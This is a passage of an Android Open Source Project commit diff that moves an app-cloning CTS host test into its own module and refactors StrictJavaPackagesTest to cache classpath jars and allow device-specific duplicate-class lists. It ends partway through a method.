Snap for 8183220 from 9604214868d867fe9874d4e7a1b28eaaf9cd92fb to mainline-adbd-release

Change-Id: I2e904daf67074282fba0ff8c66b723cbcb97744b
diff --git a/hostsidetests/appcloning/Android.bp b/hostsidetests/appcloning/Android.bp
new file mode 100644
index 0000000..f1ecc4b
--- /dev/null
+++ b/hostsidetests/appcloning/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_test_host {
+    name: "CtsAppCloningHostTest",
+    srcs: [
+        "hostside/src/**/AppCloningHostTest.java",
+        "hostside/src/**/BaseHostTestCase.java",
+    ],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "testng",
+    ],
+    // tag the module as cts a test artifact
+    test_suites: [
+        "general-tests",
+        "mts-mediaprovider",
+        "cts",
+    ],
+    test_config: "AndroidTestAppCloning.xml",
+    data: [":CtsAppCloningTestApp"],
+}
diff --git a/hostsidetests/appcloning/AndroidTestAppCloning.xml b/hostsidetests/appcloning/AndroidTestAppCloning.xml
new file mode 100644
index 0000000..8c882eb
--- /dev/null
+++ b/hostsidetests/appcloning/AndroidTestAppCloning.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2022 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<configuration description="Test for App cloning support with clone user profiles">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <!-- Clone user profile is meant to exist only alongside a real system user.
+    It does not exist for a headless system user, or a secondary user -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+    <test class="com.android.tradefed.testtype.HostTest" >
+        <option name="class" value="com.android.cts.appcloning.AppCloningHostTest" />
+    </test>
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+        <option name="mainline-module-package-name" value="com.google.android.mediaprovider" />
+    </object>
+</configuration>
diff --git a/hostsidetests/appcloning/OWNERS b/hostsidetests/appcloning/OWNERS
new file mode 100644
index 0000000..7cc9314
--- /dev/null
+++ b/hostsidetests/appcloning/OWNERS
@@ -0,0 +1,6 @@
+# Bug component: 1029024
+saumyap@google.com
+maco@google.com
+dagarhimanshu@google.com
+sarup@google.com
+sailendrabathi@google.com
\ No newline at end of file
diff --git a/hostsidetests/appcloning/TEST_MAPPING b/hostsidetests/appcloning/TEST_MAPPING
new file mode 100644
index 0000000..f512df9
--- /dev/null
+++ b/hostsidetests/appcloning/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsAppCloningHostTest"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/AppCloningHostTest.java b/hostsidetests/appcloning/hostside/src/com/android/cts/appcloning/AppCloningHostTest.java
similarity index 89%
rename from hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/AppCloningHostTest.java
rename to hostsidetests/appcloning/hostside/src/com/android/cts/appcloning/AppCloningHostTest.java
index 9522731..ce7356c5 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/AppCloningHostTest.java
+++ b/hostsidetests/appcloning/hostside/src/com/android/cts/appcloning/AppCloningHostTest.java
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package android.scopedstorage.cts.host;
+package com.android.cts.appcloning;
 
 import static com.google.common.truth.Truth.assertThat;
 
@@ -34,36 +34,39 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.util.ArrayList;
-import java.util.List;
-
 /**
  * Runs the AppCloning tests.
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
 @AppModeFull
 public class AppCloningHostTest extends BaseHostTestCase {
-    private static final String APP_A = "CtsScopedStorageTestAppA.apk";
-    private static final String APP_A_PACKAGE = "android.scopedstorage.cts.testapp.A.withres";
+
+    private static final String APP_A = "CtsAppCloningTestApp.apk";
+    private static final String APP_A_PACKAGE = "com.android.cts.appcloningtestapp";
+
     private static final String CONTENT_PROVIDER_URL = "content://android.tradefed.contentprovider";
     private static final int CLONE_PROFILE_DIRECTORY_CREATION_TIMEOUT_MS = 20000;
+
     private String mCloneUserId;
     private ContentProviderHandler mContentProviderHandler;
 
-
     @Before
     public void setup() throws Exception {
         assumeFalse("Device is in headless system user mode", isHeadlessSystemUserMode());
         assumeTrue(isAtLeastS());
         assumeFalse("Device uses sdcardfs", usesSdcardFs());
 
+        // create clone user
         String output = executeShellCommand(
                 "pm create-user --profileOf 0 --user-type android.os.usertype.profile.CLONE "
                         + "testUser");
-        mCloneUserId = output.substring(output.lastIndexOf(' ') + 1).replaceAll("[^0-9]", "");
+        mCloneUserId = output.substring(output.lastIndexOf(' ') + 1).replaceAll("[^0-9]",
+                "");
         assertThat(mCloneUserId).isNotEmpty();
+
         CommandResult out = executeShellV2Command("am start-user -w %s", mCloneUserId);
         assertThat(out.getStderr()).isEmpty();
+
         mContentProviderHandler = new ContentProviderHandler(getDevice());
         mContentProviderHandler.setUp();
     }
@@ -74,6 +77,8 @@
         if (mContentProviderHandler != null) {
             mContentProviderHandler.tearDown();
         }
+
+        // remove the clone user
         executeShellCommand("pm remove-user %s", mCloneUserId);
     }
 
@@ -92,7 +97,8 @@
         eventually(() -> {
             // Wait for finish.
             assertThat(isSuccessful(
-                    runContentProviderCommand("query", mCloneUserId, "/sdcard", ""))).isTrue();
+                    runContentProviderCommand("query", mCloneUserId,
+                            "/sdcard", ""))).isTrue();
         }, CLONE_PROFILE_DIRECTORY_CREATION_TIMEOUT_MS);
 
         // Create a file on the clone user storage
@@ -101,16 +107,19 @@
         eventually(() -> {
             // Wait for finish.
             assertThat(isSuccessful(
-                    runContentProviderCommand("write", mCloneUserId, "/sdcard/testFile.txt",
+                    runContentProviderCommand("write", mCloneUserId,
+                            "/sdcard/testFile.txt",
                             "< /sdcard/testFile.txt"))).isTrue();
         }, CLONE_PROFILE_DIRECTORY_CREATION_TIMEOUT_MS);
 
         // Check that the above created file exists on the clone user storage
-        out = runContentProviderCommand("query", mCloneUserId, "/sdcard/testFile.txt", "");
+        out = runContentProviderCommand("query", mCloneUserId,
+                "/sdcard/testFile.txt", "");
         assertThat(isSuccessful(out)).isTrue();
 
         // Cleanup the created file
-        out = runContentProviderCommand("delete", mCloneUserId, "/sdcard/testFile.txt", "");
+        out = runContentProviderCommand("delete", mCloneUserId,
+                "/sdcard/testFile.txt", "");
         assertThat(isSuccessful(out)).isTrue();
     }
 
@@ -136,7 +145,6 @@
     }
 
     private boolean usesSdcardFs() throws Exception {
-        List<String> mounts = new ArrayList<>();
         CommandResult out = executeShellV2Command("cat /proc/mounts");
         assertThat(isSuccessful(out)).isTrue();
         for (String line : out.getStdout().split("\n")) {
@@ -147,6 +155,4 @@
         }
         return false;
     }
-
-
 }
diff --git a/hostsidetests/appcloning/hostside/src/com/android/cts/appcloning/BaseHostTestCase.java b/hostsidetests/appcloning/hostside/src/com/android/cts/appcloning/BaseHostTestCase.java
new file mode 100644
index 0000000..3d301f1
--- /dev/null
+++ b/hostsidetests/appcloning/hostside/src/com/android/cts/appcloning/BaseHostTestCase.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.appcloning;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.device.NativeDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.util.CommandResult;
+import com.android.tradefed.util.CommandStatus;
+
+
+abstract class BaseHostTestCase extends BaseHostJUnit4Test {
+    private int mCurrentUserId = NativeDevice.INVALID_USER_ID;
+    private static final String ERROR_MESSAGE_TAG = "[ERROR]";
+
+    protected String executeShellCommand(String cmd, Object... args) throws Exception {
+        return getDevice().executeShellCommand(String.format(cmd, args));
+    }
+
+    protected CommandResult executeShellV2Command(String cmd, Object... args) throws Exception {
+        return getDevice().executeShellV2Command(String.format(cmd, args));
+    }
+
+    protected boolean isPackageInstalled(String packageName, String userId) throws Exception {
+        return getDevice().isPackageInstalled(packageName, userId);
+    }
+
+    // TODO (b/174775905) remove after exposing the check from ITestDevice.
+    protected boolean isHeadlessSystemUserMode() throws DeviceNotAvailableException {
+        String result = getDevice()
+                .executeShellCommand("getprop ro.fw.mu.headless_system_user").trim();
+        return "true".equalsIgnoreCase(result);
+    }
+
+    protected boolean isAtLeastS() throws DeviceNotAvailableException {
+        return getDevice().getApiLevel() >= 31 /* BUILD.VERSION_CODES.S */;
+    }
+
+    protected static void eventually(ThrowingRunnable r, long timeoutMillis) {
+        long start = System.currentTimeMillis();
+
+        while (true) {
+            try {
+                r.run();
+                return;
+            } catch (Throwable e) {
+                if (System.currentTimeMillis() - start < timeoutMillis) {
+                    try {
+                        Thread.sleep(100);
+                    } catch (InterruptedException ignored) {
+                        throw new RuntimeException(e);
+                    }
+                } else {
+                    throw new RuntimeException(e);
+                }
+            }
+        }
+    }
+
+    protected int getCurrentUserId() throws Exception {
+        setCurrentUserId();
+
+        return mCurrentUserId;
+    }
+
+    protected boolean isSuccessful(CommandResult result) {
+        if (!CommandStatus.SUCCESS.equals(result.getStatus())) {
+            return false;
+        }
+        String stdout = result.getStdout();
+        if (stdout.contains(ERROR_MESSAGE_TAG)) {
+            return false;
+        }
+        String stderr = result.getStderr();
+        return (stderr == null || stderr.trim().isEmpty());
+    }
+
+    private void setCurrentUserId() throws Exception {
+        if (mCurrentUserId != NativeDevice.INVALID_USER_ID) return;
+
+        ITestDevice device = getDevice();
+        mCurrentUserId = device.getCurrentUser();
+        CLog.i("Current user: %d");
+    }
+
+    protected interface ThrowingRunnable {
+        /**
+         * Similar to {@link Runnable#run} but has {@code throws Exception}.
+         */
+        void run() throws Exception;
+    }
+}
diff --git a/hostsidetests/appcloning/test-apps/AppCloningTestApp/Android.bp b/hostsidetests/appcloning/test-apps/AppCloningTestApp/Android.bp
new file mode 100644
index 0000000..b3edfec
--- /dev/null
+++ b/hostsidetests/appcloning/test-apps/AppCloningTestApp/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsAppCloningTestApp",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "androidx.test.rules",
+        "truth-prebuilt",
+        "cts-install-lib",
+    ],
+    srcs: ["src/**/*.java"],
+    sdk_version: "test_current",
+    target_sdk_version: "current",
+    min_sdk_version: "30",
+}
diff --git a/hostsidetests/appcloning/test-apps/AppCloningTestApp/AndroidManifest.xml b/hostsidetests/appcloning/test-apps/AppCloningTestApp/AndroidManifest.xml
new file mode 100644
index 0000000..07d78a0
--- /dev/null
+++ b/hostsidetests/appcloning/test-apps/AppCloningTestApp/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2022 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.cts.appcloningtestapp"
+          android:versionCode="1"
+          android:versionName="1.0" >
+
+    <uses-sdk android:minSdkVersion="30" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.cts.appcloningtestapp" />
+
+</manifest>
\ No newline at end of file
diff --git a/hostsidetests/appcloning/test-apps/AppCloningTestApp/src/com/android/cts/appcloningtestapp/AppCloningDeviceTest.java b/hostsidetests/appcloning/test-apps/AppCloningTestApp/src/com/android/cts/appcloningtestapp/AppCloningDeviceTest.java
new file mode 100644
index 0000000..46480f7
--- /dev/null
+++ b/hostsidetests/appcloning/test-apps/AppCloningTestApp/src/com/android/cts/appcloningtestapp/AppCloningDeviceTest.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.appcloningtestapp;
+
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class AppCloningDeviceTest {
+    private static final String TAG = "AppCloningDeviceTest";
+}
diff --git a/hostsidetests/appcompat/strictjavapackages/Android.bp b/hostsidetests/appcompat/strictjavapackages/Android.bp
index fcb20e8..9ab8a83 100644
--- a/hostsidetests/appcompat/strictjavapackages/Android.bp
+++ b/hostsidetests/appcompat/strictjavapackages/Android.bp
@@ -33,6 +33,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-mainline-infra",
     ],
 }
diff --git a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
index ca23a71..5ac8f32 100644
--- a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
+++ b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
@@ -26,7 +26,7 @@
 import android.compat.testing.Classpaths;
 import android.compat.testing.SharedLibraryInfo;
 
-import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.modules.utils.build.testing.DeviceSdkLevel;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -35,15 +35,20 @@
 import com.google.common.collect.ImmutableCollection;
 import com.google.common.collect.ImmutableList;
 import com.google.common.collect.ImmutableSet;
+import com.google.common.collect.ImmutableSetMultimap;
 import com.google.common.collect.Multimap;
 import com.google.common.collect.Multimaps;
 
+import org.jf.dexlib2.iface.ClassDef;
+import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 import java.io.IOException;
 import java.util.Collection;
 import java.util.Set;
+import java.util.stream.Stream;
+
 
 /**
  * Tests for detecting no duplicate class files are present on BOOTCLASSPATH and
@@ -55,6 +60,17 @@
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
 
+    private static final String ANDROID_TEST_MOCK_JAR = "/system/framework/android.test.mock.jar";
+
+    private static final Object sLock = new Object();
+    private static ImmutableList<String> sBootclasspathJars;
+    private static ImmutableList<String> sSystemserverclasspathJars;
+    private static ImmutableList<String> sSharedLibJars;
+    private static ImmutableList<SharedLibraryInfo> sSharedLibs;
+    private static ImmutableSetMultimap<String, String> sJarsToClasses;
+
+    private DeviceSdkLevel mDeviceSdkLevel;
+
     /**
      * This is the list of classes that are currently duplicated and should be addressed.
      *
@@ -192,6 +208,28 @@
                     "Lcom/android/internal/util/FrameworkStatsLog;"
             );
 
+    private static final String FEATURE_WEARABLE = "android.hardware.type.watch";
+    private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
+
+    private static final Set<String> WEAR_HIDL_OVERLAP_BURNDOWN_LIST =
+            ImmutableSet.of(
+                    "Landroid/hidl/base/V1_0/DebugInfo$Architecture;",
+                    "Landroid/hidl/base/V1_0/IBase;",
+                    "Landroid/hidl/base/V1_0/IBase$Proxy;",
+                    "Landroid/hidl/base/V1_0/IBase$Stub;",
+                    "Landroid/hidl/base/V1_0/DebugInfo;",
+                    "Landroid/hidl/safe_union/V1_0/Monostate;"
+            );
+
+    private static final Set<String> AUTOMOTIVE_HIDL_OVERLAP_BURNDOWN_LIST =
+            ImmutableSet.of(
+                    "Landroid/hidl/base/V1_0/DebugInfo$Architecture;",
+                    "Landroid/hidl/base/V1_0/IBase;",
+                    "Landroid/hidl/base/V1_0/IBase$Proxy;",
+                    "Landroid/hidl/base/V1_0/IBase$Stub;",
+                    "Landroid/hidl/base/V1_0/DebugInfo;"
+            );
+
     /**
      * TODO(b/199529199): Address these.
      * List of duplicate classes between bootclasspath and shared libraries.
@@ -199,7 +237,7 @@
      * <p> DO NOT ADD CLASSES TO THIS LIST!
      */
     private static final Set<String> BCP_AND_SHARED_LIB_BURNDOWN_LIST =
-                ImmutableSet.of(
+            ImmutableSet.of(
                     "Landroid/hidl/base/V1_0/DebugInfo;",
                     "Landroid/hidl/base/V1_0/IBase;",
                     "Landroid/hidl/manager/V1_0/IServiceManager;",
@@ -245,6 +283,9 @@
                     "Lcom/qualcomm/qcrilmsgtunnel/IQcrilMsgTunnel;",
                     "Lcom/qualcomm/utils/CommandException;",
                     "Lcom/qualcomm/utils/RILConstants;",
+                    "Lorg/codeaurora/telephony/utils/CommandException;",
+                    "Lorg/codeaurora/telephony/utils/Log;",
+                    "Lorg/codeaurora/telephony/utils/RILConstants;",
                     "Lorg/chromium/net/ApiVersion;",
                     "Lorg/chromium/net/BidirectionalStream;",
                     "Lorg/chromium/net/CallbackException;",
@@ -269,16 +310,70 @@
                     "Lorg/chromium/net/UploadDataSink;",
                     "Lorg/chromium/net/UrlRequest;",
                     "Lorg/chromium/net/UrlResponseInfo;"
-                );
+            );
+
+    /**
+     * Fetch all jar files in BCP, SSCP and shared libs and extract all the classes.
+     *
+     * <p>This method cannot be static, as there are no static equivalents for {@link #getDevice()}
+     * and {@link #getBuild()}.
+     */
+    @Before
+    public void setupOnce() throws IOException, DeviceNotAvailableException {
+        if (getDevice() == null || getBuild() == null) {
+            throw new RuntimeException("No device and/or build type specified!");
+        }
+        mDeviceSdkLevel = new DeviceSdkLevel(getDevice());
+
+        synchronized (sLock) {
+            if (sJarsToClasses != null) {
+                return;
+            }
+            sBootclasspathJars = Classpaths.getJarsOnClasspath(getDevice(), BOOTCLASSPATH);
+            sSystemserverclasspathJars =
+                    Classpaths.getJarsOnClasspath(getDevice(), SYSTEMSERVERCLASSPATH);
+            sSharedLibs = mDeviceSdkLevel.isDeviceAtLeastS()
+                    ? Classpaths.getSharedLibraryInfos(getDevice(), getBuild())
+                    : ImmutableList.of();
+            sSharedLibJars = sSharedLibs.stream()
+                    .map(sharedLibraryInfo -> sharedLibraryInfo.paths)
+                    .flatMap(ImmutableCollection::stream)
+                    .filter(this::doesFileExist)
+                    .collect(ImmutableList.toImmutableList());
+
+            final ImmutableSetMultimap.Builder<String, String> jarsToClasses =
+                    ImmutableSetMultimap.builder();
+            Stream.of(sBootclasspathJars.stream(),
+                            sSystemserverclasspathJars.stream(),
+                            sSharedLibJars.stream())
+                    .reduce(Stream::concat).orElseGet(Stream::empty)
+                    .parallel()
+                    .forEach(jar -> {
+                        try {
+                            ImmutableSet<String> classes =
+                                    Classpaths.getClassDefsFromJar(getDevice(), jar).stream()
+                                            .map(ClassDef::getType)
+                                            // Inner classes always go with their parent.
+                                            .filter(className -> !className.contains("$"))
+                                            .collect(ImmutableSet.toImmutableSet());
+                            synchronized (jarsToClasses) {
+                                jarsToClasses.putAll(jar, classes);
+                            }
+                        } catch (DeviceNotAvailableException | IOException e) {
+                            throw new RuntimeException(e);
+                        }
+                    });
+            sJarsToClasses = jarsToClasses.build();
+        }
+    }
+
     /**
      * Ensure that there are no duplicate classes among jars listed in BOOTCLASSPATH.
      */
     @Test
     public void testBootclasspath_nonDuplicateClasses() throws Exception {
-        assumeTrue(ApiLevelUtil.isAfter(getDevice(), 29));
-        ImmutableList<String> jars =
-                Classpaths.getJarsOnClasspath(getDevice(), BOOTCLASSPATH);
-        assertThat(getDuplicateClasses(jars)).isEmpty();
+        assumeTrue(mDeviceSdkLevel.isDeviceAtLeastR());
+        assertThat(getDuplicateClasses(sBootclasspathJars)).isEmpty();
     }
 
     /**
@@ -286,10 +381,20 @@
      */
     @Test
     public void testSystemServerClasspath_nonDuplicateClasses() throws Exception {
-        assumeTrue(ApiLevelUtil.isAfter(getDevice(), 29));
-        ImmutableList<String> jars =
-                Classpaths.getJarsOnClasspath(getDevice(), SYSTEMSERVERCLASSPATH);
-        assertThat(getDuplicateClasses(jars)).isEmpty();
+        assumeTrue(mDeviceSdkLevel.isDeviceAtLeastR());
+        ImmutableSet<String> overlapBurndownList;
+        if (hasFeature(FEATURE_AUTOMOTIVE)) {
+            overlapBurndownList = ImmutableSet.copyOf(AUTOMOTIVE_HIDL_OVERLAP_BURNDOWN_LIST);
+        } else if (hasFeature(FEATURE_WEARABLE)) {
+            overlapBurndownList = ImmutableSet.copyOf(WEAR_HIDL_OVERLAP_BURNDOWN_LIST);
+        } else {
+            overlapBurndownList = ImmutableSet.of();
+        }
+        Multimap<String, String> duplicates = getDuplicateClasses(sSystemserverclasspathJars);
+        Multimap<String, String> filtered = Multimaps.filterKeys(duplicates,
+                duplicate -> !overlapBurndownList.contains(duplicate));
+
+        assertThat(filtered).isEmpty();
     }
 
     /**
@@ -298,14 +403,25 @@
      */
     @Test
     public void testBootClasspathAndSystemServerClasspath_nonDuplicateClasses() throws Exception {
-        assumeTrue(ApiLevelUtil.isAfter(getDevice(), 29));
+        assumeTrue(mDeviceSdkLevel.isDeviceAtLeastR());
         ImmutableList.Builder<String> jars = ImmutableList.builder();
-        jars.addAll(Classpaths.getJarsOnClasspath(getDevice(), BOOTCLASSPATH));
-        jars.addAll(Classpaths.getJarsOnClasspath(getDevice(), SYSTEMSERVERCLASSPATH));
-
+        jars.addAll(sBootclasspathJars);
+        jars.addAll(sSystemserverclasspathJars);
+        ImmutableSet<String> overlapBurndownList;
+        if (hasFeature(FEATURE_AUTOMOTIVE)) {
+            overlapBurndownList = ImmutableSet.<String>builder()
+                    .addAll(BCP_AND_SSCP_OVERLAP_BURNDOWN_LIST)
+                    .addAll(AUTOMOTIVE_HIDL_OVERLAP_BURNDOWN_LIST).build();
+        } else if (hasFeature(FEATURE_WEARABLE)) {
+            overlapBurndownList = ImmutableSet.<String>builder()
+                    .addAll(BCP_AND_SSCP_OVERLAP_BURNDOWN_LIST)
+                    .addAll(WEAR_HIDL_OVERLAP_BURNDOWN_LIST).build();
+        } else {
+            overlapBurndownList = ImmutableSet.copyOf(BCP_AND_SSCP_OVERLAP_BURNDOWN_LIST);
+        }
         Multimap<String, String> duplicates = getDuplicateClasses(jars.build());
         Multimap<String, String> filtered = Multimaps.filterKeys(duplicates,
-                duplicate -> !BCP_AND_SSCP_OVERLAP_BURNDOWN_LIST.contains(duplicate));
+                duplicate -> !overlapBurndownList.contains(duplicate));
 
         assertThat(filtered).isEmpty();
     }
@@ -315,13 +431,9 @@
      */
     @Test
     public void testBootClasspath_nonDuplicateApexJarClasses() throws Exception {
-        ImmutableList<String> jars =
-                Classpaths.getJarsOnClasspath(getDevice(), BOOTCLASSPATH);
-
-        Multimap<String, String> duplicates = getDuplicateClasses(jars);
+        Multimap<String, String> duplicates = getDuplicateClasses(sBootclasspathJars);
         Multimap<String, String> filtered =
                 Multimaps.filterValues(duplicates, jar -> jar.startsWith("/apex/"));
-
         assertThat(filtered).isEmpty();
     }
 
@@ -330,10 +442,7 @@
      */
     @Test
     public void testSystemServerClasspath_nonDuplicateApexJarClasses() throws Exception {
-        ImmutableList<String> jars =
-                Classpaths.getJarsOnClasspath(getDevice(), SYSTEMSERVERCLASSPATH);
-
-        Multimap<String, String> duplicates = getDuplicateClasses(jars);
+        Multimap<String, String> duplicates = getDuplicateClasses(sSystemserverclasspathJars);
         Multimap<String, String> filtered =
                 Multimaps.filterValues(duplicates, jar -> jar.startsWith("/apex/"));
 
@@ -348,8 +457,8 @@
     public void testBootClasspathAndSystemServerClasspath_nonApexDuplicateClasses()
             throws Exception {
         ImmutableList.Builder<String> jars = ImmutableList.builder();
-        jars.addAll(Classpaths.getJarsOnClasspath(getDevice(), BOOTCLASSPATH));
-        jars.addAll(Classpaths.getJarsOnClasspath(getDevice(), SYSTEMSERVERCLASSPATH));
+        jars.addAll(sBootclasspathJars);
+        jars.addAll(sSystemserverclasspathJars);
 
         Multimap<String, String> duplicates = getDuplicateClasses(jars.build());
         Multimap<String, String> filtered = Multimaps.filterKeys(duplicates,
@@ -365,22 +474,40 @@
      */
     @Test
     public void testBootClasspathAndSharedLibs_nonDuplicateClasses() throws Exception {
-        assumeTrue(ApiLevelUtil.isAfter(getDevice(), 29));
+        assumeTrue(mDeviceSdkLevel.isDeviceAtLeastS());
         final ImmutableList.Builder<String> jars = ImmutableList.builder();
-        final ImmutableList<SharedLibraryInfo> sharedLibs =
-                Classpaths.getSharedLibraryInfos(getDevice(), getBuild());
-        jars.addAll(Classpaths.getJarsOnClasspath(getDevice(), BOOTCLASSPATH));
-        jars.addAll(sharedLibs.stream()
-                .map(sharedLibraryInfo -> sharedLibraryInfo.paths)
-                .flatMap(ImmutableCollection::stream)
-                .filter(this::doesFileExist)
-                .collect(ImmutableList.toImmutableList())
-        );
+        jars.addAll(sBootclasspathJars);
+        jars.addAll(sSharedLibJars);
         final Multimap<String, String> duplicates = getDuplicateClasses(jars.build());
         final Multimap<String, String> filtered = Multimaps.filterKeys(duplicates,
-            duplicate -> !BCP_AND_SHARED_LIB_BURNDOWN_LIST.contains(duplicate)
-                         && !isSameLibrary(duplicates.get(duplicate), sharedLibs)
-        );
+                dupeClass -> {
+                    try {
+                        final Collection<String> dupeJars = duplicates.get(dupeClass);
+                        // Duplicate is already known.
+                        if (BCP_AND_SHARED_LIB_BURNDOWN_LIST.contains(dupeClass)) {
+                            return false;
+                        }
+                        // Duplicate is only between different versions of the same shared library.
+                        if (isSameLibrary(dupeJars)) {
+                            return false;
+                        }
+                        // Pre-T, the Android test mock library included some platform classes.
+                        if (!mDeviceSdkLevel.isDeviceAtLeastT()
+                                && dupeJars.contains(ANDROID_TEST_MOCK_JAR)) {
+                            return false;
+                        }
+                        // Different versions of the same library may have different names, and
+                        // there's
+                        // no reliable way to dedupe them. Ignore duplicates if they do not
+                        // include apex jars.
+                        if (dupeJars.stream().noneMatch(lib -> lib.startsWith("/apex/"))) {
+                            return false;
+                        }
+                    } catch (DeviceNotAvailableException e) {
+                        throw new RuntimeException(e);
+                    }
+                    return true;
+                });
         assertThat(filtered).isEmpty();
     }
 
@@ -390,26 +517,9 @@
      * @param jars a list of jar files.
      * @return a multimap with the class name as a key and the jar files as a value.
      */
-    private Multimap<String, String> getDuplicateClasses(ImmutableCollection<String> jars)
-            throws Exception {
-        final Multimap<String, String> allClasses = HashMultimap.create();
-        jars.stream()
-                .parallel()
-                .forEach(jar -> {
-                    try {
-                        Classpaths.getClassDefsFromJar(getDevice(), jar)
-                                .stream()
-                                // Inner classes always go with their parent.
-                                .filter(classDef -> !classDef.getType().contains("$"))
-                                .forEach(classDef -> {
-                                    synchronized (allClasses) {
-                                        allClasses.put(classDef.getType(), jar);
-                                    }
-                                });
-                    } catch (DeviceNotAvailableException | IOException e) {
-                        throw new RuntimeException(e);
-                    }
-                });
+    private Multimap<String, String> getDuplicateClasses(ImmutableCollection<String> jars) {
+        final HashMultimap<String, String> allClasses = HashMultimap.create();
